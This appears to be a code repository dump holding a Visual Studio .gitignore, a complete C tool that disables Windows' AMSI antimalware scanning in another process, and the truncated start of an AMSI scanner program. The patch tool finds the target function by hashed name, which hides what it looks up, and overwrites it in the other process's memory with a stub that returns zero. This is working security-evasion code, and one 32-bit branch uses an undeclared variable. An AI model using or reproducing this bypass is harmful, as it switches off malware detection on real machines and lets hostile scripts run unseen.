[
  {
    "path": ".gitignore",
    "content": "## Ignore Visual Studio temporary files, build results, and\n## files generated by popular Visual Studio add-ons.\n##\n## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore\n\n# User-specific files\n*.rsuser\n*.suo\n*.user\n*.userosscache\n*.sln.docstates\n\n# User-specific files (MonoDevelop/Xamarin Studio)\n*.userprefs\n\n# Mono auto generated files\nmono_crash.*\n\n# Build results\n[Dd]ebug/\n[Dd]ebugPublic/\n[Rr]elease/\n[Rr]eleases/\nx64/\nx86/\n[Aa][Rr][Mm]/\n[Aa][Rr][Mm]64/\nbld/\n[Bb]in/\n[Oo]bj/\n[Ll]og/\n[Ll]ogs/\n\n# Visual Studio 2015/2017 cache/options directory\n.vs/\n# Uncomment if you have tasks that create the project's static files in wwwroot\n#wwwroot/\n\n# Visual Studio 2017 auto generated files\nGenerated\\ Files/\n\n# MSTest test Results\n[Tt]est[Rr]esult*/\n[Bb]uild[Ll]og.*\n\n# NUnit\n*.VisualState.xml\nTestResult.xml\nnunit-*.xml\n\n# Build Results of an ATL Project\n[Dd]ebugPS/\n[Rr]eleasePS/\ndlldata.c\n\n# Benchmark Results\nBenchmarkDotNet.Artifacts/\n\n# .NET Core\nproject.lock.json\nproject.fragment.lock.json\nartifacts/\n\n# ASP.NET Scaffolding\nScaffoldingReadMe.txt\n\n# StyleCop\nStyleCopReport.xml\n\n# Files built by Visual Studio\n*_i.c\n*_p.c\n*_h.h\n*.ilk\n*.meta\n*.obj\n*.iobj\n*.pch\n*.pdb\n*.ipdb\n*.pgc\n*.pgd\n*.rsp\n*.sbr\n*.tlb\n*.tli\n*.tlh\n*.tmp\n*.tmp_proj\n*_wpftmp.csproj\n*.log\n*.vspscc\n*.vssscc\n.builds\n*.pidb\n*.svclog\n*.scc\n\n# Chutzpah Test files\n_Chutzpah*\n\n# Visual C++ cache files\nipch/\n*.aps\n*.ncb\n*.opendb\n*.opensdf\n*.sdf\n*.cachefile\n*.VC.db\n*.VC.VC.opendb\n\n# Visual Studio profiler\n*.psess\n*.vsp\n*.vspx\n*.sap\n\n# Visual Studio Trace Files\n*.e2e\n\n# TFS 2012 Local Workspace\n$tf/\n\n# Guidance Automation Toolkit\n*.gpState\n\n# ReSharper is a .NET coding add-in\n_ReSharper*/\n*.[Rr]e[Ss]harper\n*.DotSettings.user\n\n# TeamCity is a build add-in\n_TeamCity*\n\n# DotCover is a Code Coverage Tool\n*.dotCover\n\n# AxoCover is a Code Coverage Tool\n.axoCover/*\n!.axoCover/settings.json\n\n# Coverlet is a free, cross platform Code Coverage Tool\ncoverage*[.json, .xml, .info]\n\n# Visual Studio code coverage results\n*.coverage\n*.coveragexml\n\n# NCrunch\n_NCrunch_*\n.*crunch*.local.xml\nnCrunchTemp_*\n\n# MightyMoose\n*.mm.*\nAutoTest.Net/\n\n# Web workbench (sass)\n.sass-cache/\n\n# Installshield output folder\n[Ee]xpress/\n\n# DocProject is a documentation generator add-in\nDocProject/buildhelp/\nDocProject/Help/*.HxT\nDocProject/Help/*.HxC\nDocProject/Help/*.hhc\nDocProject/Help/*.hhk\nDocProject/Help/*.hhp\nDocProject/Help/Html2\nDocProject/Help/html\n\n# Click-Once directory\npublish/\n\n# Publish Web Output\n*.[Pp]ublish.xml\n*.azurePubxml\n# Note: Comment the next line if you want to checkin your web deploy settings,\n# but database connection strings (with potential passwords) will be unencrypted\n*.pubxml\n*.publishproj\n\n# Microsoft Azure Web App publish settings. Comment the next line if you want to\n# checkin your Azure Web App publish settings, but sensitive information contained\n# in these scripts will be unencrypted\nPublishScripts/\n\n# NuGet Packages\n*.nupkg\n# NuGet Symbol Packages\n*.snupkg\n# The packages folder can be ignored because of Package Restore\n**/[Pp]ackages/*\n# except build/, which is used as an MSBuild target.\n!**/[Pp]ackages/build/\n# Uncomment if necessary however generally it will be regenerated when needed\n#!**/[Pp]ackages/repositories.config\n# NuGet v3's project.json files produces more ignorable files\n*.nuget.props\n*.nuget.targets\n\n# Microsoft Azure Build Output\ncsx/\n*.build.csdef\n\n# Microsoft Azure Emulator\necf/\nrcf/\n\n# Windows Store app package directories and files\nAppPackages/\nBundleArtifacts/\nPackage.StoreAssociation.xml\n_pkginfo.txt\n*.appx\n*.appxbundle\n*.appxupload\n\n# Visual Studio cache files\n# files ending in .cache can be ignored\n*.[Cc]ache\n# but keep track of directories ending in .cache\n!?*.[Cc]ache/\n\n# Others\nClientBin/\n~$*\n*~\n*.dbmdl\n*.dbproj.schemaview\n*.jfm\n*.pfx\n*.publishsettings\norleans.codegen.cs\n\n# Including strong name files can present a security risk\n# (https://github.com/github/gitignore/pull/2483#issue-259490424)\n#*.snk\n\n# Since there are multiple workflows, uncomment next line to ignore bower_components\n# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)\n#bower_components/\n\n# RIA/Silverlight projects\nGenerated_Code/\n\n# Backup & report files from converting an old project file\n# to a newer Visual Studio version. Backup files are not needed,\n# because we have git ;-)\n_UpgradeReport_Files/\nBackup*/\nUpgradeLog*.XML\nUpgradeLog*.htm\nServiceFabricBackup/\n*.rptproj.bak\n\n# SQL Server files\n*.mdf\n*.ldf\n*.ndf\n\n# Business Intelligence projects\n*.rdl.data\n*.bim.layout\n*.bim_*.settings\n*.rptproj.rsuser\n*- [Bb]ackup.rdl\n*- [Bb]ackup ([0-9]).rdl\n*- [Bb]ackup ([0-9][0-9]).rdl\n\n# Microsoft Fakes\nFakesAssemblies/\n\n# GhostDoc plugin setting file\n*.GhostDoc.xml\n\n# Node.js Tools for Visual Studio\n.ntvs_analysis.dat\nnode_modules/\n\n# Visual Studio 6 build log\n*.plg\n\n# Visual Studio 6 workspace options file\n*.opt\n\n# Visual Studio 6 auto-generated workspace file (contains which files were open etc.)\n*.vbw\n\n# Visual Studio LightSwitch build output\n**/*.HTMLClient/GeneratedArtifacts\n**/*.DesktopClient/GeneratedArtifacts\n**/*.DesktopClient/ModelManifest.xml\n**/*.Server/GeneratedArtifacts\n**/*.Server/ModelManifest.xml\n_Pvt_Extensions\n\n# Paket dependency manager\n.paket/paket.exe\npaket-files/\n\n# FAKE - F# Make\n.fake/\n\n# CodeRush personal settings\n.cr/personal\n\n# Python Tools for Visual Studio (PTVS)\n__pycache__/\n*.pyc\n\n# Cake - Uncomment if you are using it\n# tools/**\n# !tools/packages.config\n\n# Tabs Studio\n*.tss\n\n# Telerik's JustMock configuration file\n*.jmconfig\n\n# BizTalk build output\n*.btp.cs\n*.btm.cs\n*.odx.cs\n*.xsd.cs\n\n# OpenCover UI analysis results\nOpenCover/\n\n# Azure Stream Analytics local run output\nASALocalRun/\n\n# MSBuild Binary and Structured Log\n*.binlog\n\n# NVidia Nsight GPU debugger configuration file\n*.nvuser\n\n# MFractors (Xamarin productivity tool) working folder\n.mfractor/\n\n# Local History for Visual Studio\n.localhistory/\n\n# BeatPulse healthcheck temp database\nhealthchecksdb\n\n# Backup folder for Package Reference Convert tool in Visual Studio 2017\nMigrationBackup/\n\n# Ionide (cross platform F# VS Code tools) working folder\n.ionide/\n\n# CMake\nout/"
  },
  {
    "path": "AMSI/amsi_module_patch.c",
    "content": "/*+===================================================================\n  File:      amsi_module_patch.c\n  Summary:   Disable AMSI in a remote process.\n  Classes:   N/A\n  Functions: N/A\n  Origin:    https://github.com/am0nsec\n##\n  Author: Paul Laine (@am0nsec)\n===================================================================+*/\n#include <Windows.h>\n#include <stdio.h>\n#include \"structs.h\"\n\n#pragma comment(lib, \"ntdll\")\nNTSTATUS NTAPI NtQueryInformationProcess(\n\t__in  HANDLE ProcessHandle,\n\t__in  DWORD  ProcessInformationClass,\n\t__out PVOID  ProcessInformation,\n\t__in  ULONG  ProcessInformationLength,\n\t__out PULONG ReturnLength\n);\n\n/*--------------------------------------------------------------------\n  Macros.\n--------------------------------------------------------------------*/\n#define NT_SUCCESS(Status)   ((NTSTATUS)(Status) >= 0)\n#define MODULE_FUNCTION_HASH 0xef9560b87e51d9fd\n#define MODULE_NAME_HASH     0x7a41ff5c4c483108\n\n/*--------------------------------------------------------------------\n  Function prototypes.\n--------------------------------------------------------------------*/\nPTEB RtlGetThreadEnvironmentBlock();\nPPEB RtlGetProcessEnvironmentBlock();\nBOOL GetRemoteProcessPeb(\n\t__in  PHANDLE                    pHandle,\n\t__out PPEB                       pRemotePeb,\n\t__out PPROCESS_BASIC_INFORMATION pBasicInformation\n);\nBOOL GetLoaderDataStructure(\n\t__in  PHANDLE       pHandle,\n\t__out PPEB_LDR_DATA pLdrData,\n\t__out LPBYTE        pPebBaseAddress\n);\nDWORD64 djb2(__in PBYTE str);\nPVOID GetModuleBaseAddress(\n\t__in PHANDLE pHandle,\n\t__in PPEB_LDR_DATA pLdrData\n);\nBOOL GetModuleExportDirectory(\n\t__in  PHANDLE                 pHandle,\n\t__out PIMAGE_EXPORT_DIRECTORY pImageExportDirectory,\n\t__in  PVOID                   pModuleBaseAddress\n);\nPVOID GetModuleFunctionAddress(\n\t__in  PHANDLE                 pHandle,\n\t__in  PIMAGE_EXPORT_DIRECTORY pExportDirectory,\n\t__in  PVOID                   pModuleBaseAddress\n);\nBOOL PatchModuleFunction(\n\t__in PHANDLE pHandle,\n\t__in PVOID   pModuleFunctionAddress\n);\n\n/*--------------------------------------------------------------------\n  Global variables.\n--------------------------------------------------------------------*/\nPTEB  g_pCurrentTeb = NULL;\nPPEB  g_pCurrentPeb = NULL;\n\nINT wmain(INT argc, wchar_t* argv[]) {\n\twprintf(L\"[>] AMSI Module Patch.\\n\");\n\twprintf(L\"[>] Author: Paul Laine (@am0nsec).\\n\");\n\twprintf(L\"   ---------------------------------\\n\\n\");\n\n\t/*--------------------------------------------------------------------\n\t  Get process environment block and thread environment block.\n\t--------------------------------------------------------------------*/\n\tg_pCurrentTeb = RtlGetThreadEnvironmentBlock();\n\tg_pCurrentPeb = RtlGetProcessEnvironmentBlock();\n\tif (!g_pCurrentPeb || !g_pCurrentTeb  || g_pCurrentPeb->OSMajorVersion != 0xA) {\n\t\twprintf(L\"[-] This program is only supported by Windows 10 and greater.\\n\\n\");\n\t\treturn 0x1;\n\t}\n\n\t/*--------------------------------------------------------------------\n\t  Get the PID of the targeted process.\n\t--------------------------------------------------------------------*/\n\tif (argc != 2) {\n\t\twprintf(L\"[-] Invalid number of parameters.\\n\");\n\t\twprintf(L\"    Usage: %ws <process ID>\\n\\n\", argv[0]);\n\t\treturn 0x1;\n\t}\n\tDWORD dwRemoteProcessId = _wtoi(argv[1]);\n\twprintf(L\"[>] Target process ID: %d\\n\", dwRemoteProcessId);\n\n\t/*--------------------------------------------------------------------\n\t  Get the HANDLE of the targeted process.\n\t--------------------------------------------------------------------*/\n\twprintf(L\"[>] Searching module base address ...\\n\");\n\tHANDLE hRemoteProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, dwRemoteProcessId);\n\tif (hRemoteProcess == INVALID_HANDLE_VALUE) {\n\t\twprintf(L\"[-] Error while getting a HANDLE to the remote process: %d\\n\\n\", g_pCurrentTeb->LastErrorValue);\n\t\treturn 0x01;\n\t}\n\twprintf(L\"   - Process handle: 0x%016llx\\n\", (DWORD64)hRemoteProcess);\n\t\n\t/*--------------------------------------------------------------------\n\t  Get the PEB of the remote process.\n\t--------------------------------------------------------------------*/\n\tPROCESS_BASIC_INFORMATION BasicInformation = { 0 };\n\tPEB RemotePeb = { 0 };\n\tif (!GetRemoteProcessPeb(&hRemoteProcess, &RemotePeb, &BasicInformation)) {\n\t\tCloseHandle(hRemoteProcess);\n\t\treturn 0x01;\n\t}\n\n\t/*--------------------------------------------------------------------\n\t  Get the address of the PEB_LDR_DATA structure.\n\t--------------------------------------------------------------------*/\n\tPEB_LDR_DATA LdrData = { 0 };\n\tif (!GetLoaderDataStructure(&hRemoteProcess, &LdrData, (LPBYTE)BasicInformation.PebBaseAddress)) {\n\t\tCloseHandle(hRemoteProcess);\n\t\treturn 0x01;\n\t}\n\n\t/*--------------------------------------------------------------------\n\t  Search for the base address of the AMSI module.\n\t--------------------------------------------------------------------*/\n\tPVOID pModuleBaseAddress = GetModuleBaseAddress(&hRemoteProcess, &LdrData);\n\tif (pModuleBaseAddress == NULL) {\n\t\twprintf(L\"[-] Invalid module base address: %d\\n\\n\", g_pCurrentTeb->LastErrorValue);\n\t\treturn 0x01;\n\t}\n\twprintf(L\"   - Module base address: 0x%016llx\\n\", (DWORD64)pModuleBaseAddress);\n\twprintf(L\"[+] Searching module base address ... OK\\n\\n\");\n\n\t/*--------------------------------------------------------------------\n\t  Get export directory structure of the module\n\t--------------------------------------------------------------------*/\n\twprintf(L\"[>] Searching function address ...\\n\");\n\tIMAGE_EXPORT_DIRECTORY ExportDirectory = { 0 };\n\tif (!GetModuleExportDirectory(&hRemoteProcess, &ExportDirectory, pModuleBaseAddress)) {\n\t\tCloseHandle(hRemoteProcess);\n\t\treturn 0x01;\n\t}\n\n\t/*--------------------------------------------------------------------\n\t  Parse the export table of the module.\n\t  Re-implementation of the GetProcAddress function.\n\t--------------------------------------------------------------------*/\n\tPVOID pModuleFunctionAddress = GetModuleFunctionAddress(&hRemoteProcess, &ExportDirectory, pModuleBaseAddress);\n\tif (pModuleFunctionAddress == NULL) {\n\t\tCloseHandle(hRemoteProcess);\n\t\treturn 0x01;\n\t}\n\twprintf(L\"   - Function address: 0x%016llx\\n\", (DWORD64)pModuleFunctionAddress);\n\twprintf(L\"[+] Searching function address ... OK\\n\\n\");\n\n\n\t/*--------------------------------------------------------------------\n\t  Parse the export table of the module.\n\t  Re-implementation of the GetProcAddress function.\n\t--------------------------------------------------------------------*/\n\tif (!PatchModuleFunction(&hRemoteProcess, pModuleFunctionAddress)) {\n\t\tCloseHandle(hRemoteProcess);\n\t\treturn 0x01;\n\t}\n\n\t/*--------------------------------------------------------------------\n\t  Cleanup and exit.\n\t--------------------------------------------------------------------*/\n\tif (hRemoteProcess != INVALID_HANDLE_VALUE)\n\t\tCloseHandle(hRemoteProcess);\n\treturn 0x0;\n}\n\n/*F+F+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n  Function: RtlGetThreadEnvironmentBlock\n  Summary:  Get the TEB from the GS/FS register.\n  Args:     N/A\n  Returns:  PTEB\n-----------------------------------------------------------------F-F*/\nPTEB RtlGetThreadEnvironmentBlock() {\n#if _WIN64\n\treturn (PTEB)__readgsqword(0x30);\n#else\n\treturn (PTEB)__readfsdword(0x16);\n#endif\n}\n\n/*F+F+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n  Function: RtlGetProcessEnvironmentBlock\n  Summary:  Get the PEB from the GS/FS register.\n  Args:     N/A\n  Returns:  PPEB\n-----------------------------------------------------------------F-F*/\nPPEB RtlGetProcessEnvironmentBlock() {\n#if _WIN64\n\treturn (PPEB)__readgsqword(0x60);\n#else\n\treturn (PPEB)__readfsdword(0x30);\n#endif\n}\n\n/*F+F+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n  Function: GetRemoteProcessPeb\n  Summary:  Get PEB from a remote process.\n\n  Args:     PHANDLE pHandle\n               - Pointer to an handle of a remote process.\n\t    PPEB pRemotePeb\n\t       - Pointer to the PEB structure of the remote process.\n\t    PPROCESS_BASIC_INFORMATION pBasicInformation\n\t       - Pointer to a structure that contains information about\n\t         the remote process.\n\n  Returns:  BOOL\n-----------------------------------------------------------------F-F*/\nBOOL GetRemoteProcessPeb(PHANDLE pHandle, PPEB pRemotePeb, PPROCESS_BASIC_INFORMATION pBasicInformation) {\n\tULONG lBytesWritten = 0;\n\tNtQueryInformationProcess(*pHandle, 0, pBasicInformation, sizeof(PROCESS_BASIC_INFORMATION), &lBytesWritten);\n\tif (lBytesWritten != sizeof(PROCESS_BASIC_INFORMATION)) {\n\t\twprintf(L\"[-] Something went wrong will gathering remote process basic information: %d\\n\\n\", g_pCurrentTeb->LastErrorValue);\n\t\treturn FALSE;\n\t}\n\n\tSIZE_T lBytesRead = 0;\n\tReadProcessMemory(*pHandle, pBasicInformation->PebBaseAddress, pRemotePeb, sizeof(PEB), &lBytesRead);\n\tif (lBytesRead != sizeof(PEB)) {\n\t\twprintf(L\"[-] Something went wrong will getting remote PEB: %d\\n\\n\", g_pCurrentTeb->LastErrorValue);\n\t\treturn FALSE;\n\t}\n\n\twprintf(L\"   - Process image base: 0x%016llx\\n\", (DWORD64)pRemotePeb->ImageBase);\n\treturn TRUE;\n}\n\n/*F+F+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n  Function: GetLoaderDataStructure\n  Summary:  Get the loader data structure from a the remote process.\n\n  Args:     PHANDLE pHandle\n               - Pointer to an handle of a remote process.\n\t    PPEB_LDR_DATA pLdrData\n\t       - Pointer to the loader data structure from the remote\n\t\t process.\n\t    LPBYTE pPebBaseAddress\n\t       - Base address of the PEB structure from the remote\n\t\t process.\n\n  Returns:  BOOL\n-----------------------------------------------------------------F-F*/\nBOOL GetLoaderDataStructure(PHANDLE pHandle, PPEB_LDR_DATA pLdrData, LPBYTE pPebBaseAddress) {\n\tLPVOID pLdrDataAddress = NULL;\n\tSIZE_T lBytesRead = 0;\n#if _WIN64\n\tReadProcessMemory(*pHandle, (pPebBaseAddress + 0x18), &pLdrDataAddress, sizeof(PPEB_LDR_DATA), &lBytesRead);\n#else\n\tReadProcessMemory(*pHandle, (pPebBaseAddress + 0x0c), &pLdrDataAddress, sizeof(PPEB_LDR_DATA), &lBytesWritten);\n#endif\n\tif (!pLdrDataAddress || lBytesRead != sizeof(PPEB_LDR_DATA)) {\n\t\twprintf(L\"[-] Invalid loader data address returned: %d\\n\\n\", g_pCurrentTeb->LastErrorValue);\n\t\treturn FALSE;\n\t}\n\twprintf(L\"   - Loader data address: 0x%016llx\\n\", (DWORD64)pLdrDataAddress);\n\n\tReadProcessMemory(*pHandle, pLdrDataAddress, pLdrData, sizeof(PEB_LDR_DATA), &lBytesRead);\n\tif (lBytesRead != sizeof(PEB_LDR_DATA)) {\n\t\twprintf(L\"[-] Invalid loader data structure returned: %d\\n\\n\", g_pCurrentTeb->LastErrorValue);\n\t\treturn FALSE;\n\t}\n\n\treturn TRUE;\n}\n\n/*F+F+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n  Function: djb2\n  Summary:  Get the hash of a ASCII string.\n  \n  Args:     PBYTE str\n               - Pointer to an ASCII string to hash.\n\n  Returns:  DWORD64\n-----------------------------------------------------------------F-F*/\nDWORD64 djb2(PBYTE str) {\n\tDWORD64 dwHash = 0x77347734;\n\tINT c;\n\n\twhile (c = *str++)\n\t\tdwHash = ((dwHash << 0x5) + dwHash) + c;\n\n\treturn dwHash;\n}\n\n/*F+F+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n  Function: GetModuleFunctionAddress\n  Summary:  Parse all the LDR_DATA_TABLE_ENTRY structures of the \n            PEB_LDR_DATA structure of a remote process in order to find\n\t    the base address of module.\n\n  Args:     PHANDLE pHandle\n               - Pointer to an handle of a remote process.\n            PPEB_LDR_DATA pLdrData\n\t       - Pointer to the loader data structure from the remote\n\t         process.\n\n  Returns:  PVOID\n-----------------------------------------------------------------F-F*/\nPVOID GetModuleBaseAddress(PHANDLE pHandle, PPEB_LDR_DATA pLdrData) {\n\tSIZE_T lBytesRead = 0;\n\tPLIST_ENTRY pListEntry = (PLIST_ENTRY)((PBYTE)pLdrData->InMemoryOrderModuleList.Flink - 0x10);\n\tPLIST_ENTRY pListEntryFirstElement = pListEntry;\n\tPVOID pAddress = NULL;\n\tdo {\n\t\tLDR_DATA_TABLE_ENTRY LdrDataEntry;\n\t\tReadProcessMemory(*pHandle, pListEntry, &LdrDataEntry, sizeof(LDR_DATA_TABLE_ENTRY), &lBytesRead);\n\t\tif (lBytesRead != sizeof(LDR_DATA_TABLE_ENTRY)) {\n\t\t\twprintf(L\"[-] Invalid loader data entry returned: %d\\n\\n\", g_pCurrentTeb->LastErrorValue);\n\t\t\treturn NULL;\n\t\t}\n\n\t\t// Get the name of the entry\n\t\tif (LdrDataEntry.DllBase) {\n\t\t\tPWCHAR pLdrDataEntryName = HeapAlloc(g_pCurrentPeb->ProcessHeap, HEAP_ZERO_MEMORY, LdrDataEntry.BaseDllName.MaximumLength);\n\t\t\tReadProcessMemory(*pHandle, LdrDataEntry.BaseDllName.Buffer, pLdrDataEntryName, LdrDataEntry.BaseDllName.MaximumLength, NULL);\n\n\t\t\t// Convert from Unicode to ASCII\n\t\t\tINT size = WideCharToMultiByte(CP_ACP, 0, pLdrDataEntryName, LdrDataEntry.BaseDllName.MaximumLength, NULL, 0, NULL, NULL);\n\t\t\tPBYTE pLdrDataEntryNameAscii = HeapAlloc(g_pCurrentPeb->ProcessHeap, 0, size + 1);\n\t\t\tsize = WideCharToMultiByte(CP_ACP, 0, pLdrDataEntryName, LdrDataEntry.BaseDllName.MaximumLength, pLdrDataEntryNameAscii, size, NULL, NULL);\n\n\t\t\t// Check the name of the module\n\t\t\tif (MODULE_NAME_HASH == djb2(pLdrDataEntryNameAscii)) {\n\t\t\t\tpAddress = LdrDataEntry.DllBase;\n\t\t\t}\n\n\t\t\tHeapFree(g_pCurrentPeb->ProcessHeap, 0, pLdrDataEntryName);\n\t\t\tHeapFree(g_pCurrentPeb->ProcessHeap, 0, pLdrDataEntryNameAscii);\n\t\t\tpLdrDataEntryName = NULL;\n\t\t\tpLdrDataEntryNameAscii = NULL;\n\t\t}\n\n\t\tif (pAddress != NULL)\n\t\t\treturn pAddress;\n\n\t\tpListEntry = (PLIST_ENTRY)((PBYTE)LdrDataEntry.InMemoryOrderLinks.Flink - 0x10);\n\t} while (pListEntry != pListEntryFirstElement);\n\n\treturn NULL;\n}\n\n/*F+F+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n  Function: GetModuleExportDirectory\n  Summary:  Parse the PE header of the module in order to get the \n            export directory structure of the module.\n\n  Args:     PHANDLE pHandle\n               - Pointer to an handle of a remote process.\n            PIMAGE_EXPORT_DIRECTORY pImageExportDirectory\n               - Pointer to the export directory structure of a remote\n                 process.\n            VOID pModuleBaseAddress\n               - Pointer to the address of the module to patch.\n\n  Returns:  BOOL\n-----------------------------------------------------------------F-F*/\nBOOL GetModuleExportDirectory(PHANDLE pHandle, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, PVOID pModuleBaseAddress) {\n\tIMAGE_NT_HEADERS ModuleImageNtHeaders = { 0 };\n\tIMAGE_DOS_HEADER ModuleImageDosHeader = { 0 };\n\tSIZE_T lBytesRead = 0;\n\n\tReadProcessMemory(*pHandle, (LPCVOID)pModuleBaseAddress, &ModuleImageDosHeader, sizeof(IMAGE_DOS_HEADER), &lBytesRead);\n\tif (ModuleImageDosHeader.e_magic != IMAGE_DOS_SIGNATURE || lBytesRead != sizeof(IMAGE_DOS_HEADER)) {\n\t\twprintf(L\"[-] Invalid module DOS header: %d\\n\\n\", g_pCurrentTeb->LastErrorValue);\n\t\treturn FALSE;\n\t}\n\twprintf(L\"   - DOS Header: 0x%016llx\\n\", (DWORD64)pModuleBaseAddress);\n\n\tLPCVOID lpImageDosHeadersAddress = ((PBYTE)pModuleBaseAddress + ModuleImageDosHeader.e_lfanew);\n\tReadProcessMemory(*pHandle, lpImageDosHeadersAddress, &ModuleImageNtHeaders, sizeof(IMAGE_NT_HEADERS), &lBytesRead);\n\tif (ModuleImageNtHeaders.Signature != IMAGE_NT_SIGNATURE || lBytesRead != sizeof(IMAGE_NT_HEADERS)) {\n\t\twprintf(L\"[-] Invalid module NT header: %d\\n\\n\", g_pCurrentTeb->LastErrorValue);\n\t\treturn FALSE;\n\t}\n\twprintf(L\"   - NT Headers: 0x%016llx\\n\", (DWORD64)lpImageDosHeadersAddress);\n\n\tPIMAGE_DATA_DIRECTORY DataDirectory = ModuleImageNtHeaders.OptionalHeader.DataDirectory;\n\tReadProcessMemory(*pHandle, ((PBYTE)pModuleBaseAddress + DataDirectory[0].VirtualAddress), pImageExportDirectory, DataDirectory[0].Size, &lBytesRead);\n\tif (lBytesRead != DataDirectory[0].Size) {\n\t\twprintf(L\"[-] Invalid export directory returned: %d\\n\\n\", g_pCurrentTeb->LastErrorValue);\n\t\treturn FALSE;\n\t}\n\n\twprintf(L\"   - Export directory: 0x%016llx\\n\", (DWORD64)((PBYTE)pModuleBaseAddress + DataDirectory[0].VirtualAddress));\n\treturn TRUE;\n}\n\n/*F+F+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n  Function: GetModuleFunctionAddress\n  Summary:  Parse the arrays in the export directory to find the\n            address of the function to patch.\n\n  Args:     PHANDLE pHandle\n               - Pointer to an handle of a remote process.\n\t    PIMAGE_EXPORT_DIRECTORY pImageExportDirectory\n\t       - Pointer to the export directory structure of a remote\n\t\t process.\n\t    PVOID pModuleBaseAddress\n\t       - Pointer to the address of the module to patch.\n\n  Returns:  PVOID\n-----------------------------------------------------------------F-F*/\nPVOID GetModuleFunctionAddress(PHANDLE pHandle, PIMAGE_EXPORT_DIRECTORY pExportDirectory, PVOID pModuleBaseAddress) {\n\tPDWORD aAddressOfFunctions = (PDWORD)((PBYTE)pModuleBaseAddress + pExportDirectory->AddressOfFunctions);\n\tPDWORD aAddressOfNames = (PDWORD)((PBYTE)pModuleBaseAddress + pExportDirectory->AddressOfNames);\n\tPWORD aAddressOfNameOrdinales = (PWORD)((PBYTE)pModuleBaseAddress + pExportDirectory->AddressOfNameOrdinals);\n\n\tSIZE_T lBytesRead = 0;\n\tPVOID pFunctionAddress = NULL;\n\tfor (WORD cx = 0; cx < pExportDirectory->NumberOfNames; cx++) {\n\t\tDWORD dwAddressOfNamesValue = 0;\n\t\tReadProcessMemory(*pHandle, aAddressOfNames + cx, &dwAddressOfNamesValue, sizeof(DWORD), NULL);\n\n\t\tPBYTE pFunctionName = HeapAlloc(g_pCurrentPeb->ProcessHeap, HEAP_ZERO_MEMORY, MAX_PATH);\n\t\tReadProcessMemory(*pHandle, (PBYTE)pModuleBaseAddress + dwAddressOfNamesValue, pFunctionName, MAX_PATH, NULL);\n\n\t\tif (MODULE_FUNCTION_HASH == djb2(pFunctionName)) {\n\t\t\tWORD wFunctionOrdinal = 0;\n\t\t\tReadProcessMemory(*pHandle, aAddressOfNameOrdinales + cx, &wFunctionOrdinal, sizeof(WORD), &lBytesRead);\n\t\t\tif (lBytesRead != sizeof(WORD)) {\n\t\t\t\twprintf(L\"[-] Error while getting the ordinal of the function\");\n\t\t\t\treturn NULL;\n\t\t\t}\n\n\t\t\tDWORD dwFunctionAddressOffset = 0;\n\t\t\tReadProcessMemory(*pHandle, aAddressOfFunctions + wFunctionOrdinal, &dwFunctionAddressOffset, sizeof(DWORD), &lBytesRead);\n\t\t\tif (lBytesRead != sizeof(DWORD)) {\n\t\t\t\twprintf(L\"[-] Error while getting the address of the function\");\n\t\t\t\treturn NULL;\n\t\t\t}\n\n\t\t\tpFunctionAddress = (DWORD64)pModuleBaseAddress + dwFunctionAddressOffset;\n\t\t}\n\n\t\tHeapFree(g_pCurrentPeb->ProcessHeap, HEAP_ZERO_MEMORY, pFunctionName);\n\t\tpFunctionName = NULL;\n\n\t\tif (pFunctionAddress != NULL)\n\t\t\treturn pFunctionAddress;\n\t}\n\n\treturn NULL;\n}\n\n/*F+F+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n  Function: PatchModuleFunction\n  Summary:  Patch the AMSI module function of a remote process.\n\n  Args:     PHANDLE pHandle\n               - Pointer to an handle of a remote process.\n\t    PVOID pModuleFunctionAddress\n\t       - Address of the module function to patch, in the remote\n\t\t process.\n\n  Returns:  BOOL\n-----------------------------------------------------------------F-F*/\nBOOL PatchModuleFunction(PHANDLE pHandle, PVOID lpModuleFunctionAddress) {\n\tBYTE patch[] = { 0x31, 0xC0, 0xC3 };\n\tSIZE_T lBytesWritten = 0;\n\n\twprintf(L\"[>] Patching the module ...\\n\");\n\tWriteProcessMemory(*pHandle, lpModuleFunctionAddress, (LPCVOID)&patch, (sizeof(BYTE) * 3), &lBytesWritten);\n\tif (lBytesWritten != (sizeof(BYTE) * 3)) {\n\t\twprintf(L\"[>] Error while patching the DLL in memory: %d\\n\", g_pCurrentTeb->LastErrorValue);\n\t\treturn FALSE;\n\t}\n\n\twprintf(L\"[+] Patching the module ... OK\\n\\n\");\n\treturn TRUE;\n}\n"
  },
  {
    "path": "AMSI/amsi_scanner.c",
    "content": "/*+===================================================================\n  File:      amsi_scanner.c\n  Summary:   Scan string, file or URL via AMSI.\n  Classes:   N/A\n  Functions: N/A\n  Origin:    https://github.com/am0nsec\n##\n  Author: Paul Laine (@am0nsec)\n===================================================================+*/\n#pragma once\n#include <Windows.h>\n#include <amsi.h>\n#include <stdio.h>\n\n#pragma comment(lib, \"amsi.lib\")\n\n/*--------------------------------------------------------------------\n  Function prototypes.\n--------------------------------------------------------------------*/\nBOOL GetStringLenght(_In_  LPWSTR szString,\t_Out_ PULONG plStringSize);\nBOOL ScanString(_In_ LPWSTR* pszString, _Out_ AMSI_RESULT* pAmsiResult);\nBOOL ScanFile(_In_ LPWSTR* pszFileName,\t_Out_ AMSI_RESULT* pAmsiResult);\nBOOL ScanUrl(_In_ LPWSTR* pszUrl, _Out_ AMSI_RESULT* pAmsiResult);\nVOID Cleanup();\n\n/*--------------------------------------------------------------------\n  Global variables.\n--------------------------------------------------------------------*/\nHAMSICONTEXT g_hAmsiContext      = NULL;\nHAMSISESSION g_hAmsiSession      = NULL;\nLPCWSTR      g_szApplicationName = L\"AMSI Scanner v1.0\";\nHANDLE       g_hProcessHeap      = INVALID_HANDLE_VALUE;\n\nINT wmain(INT argc, PWCHAR argv[]) 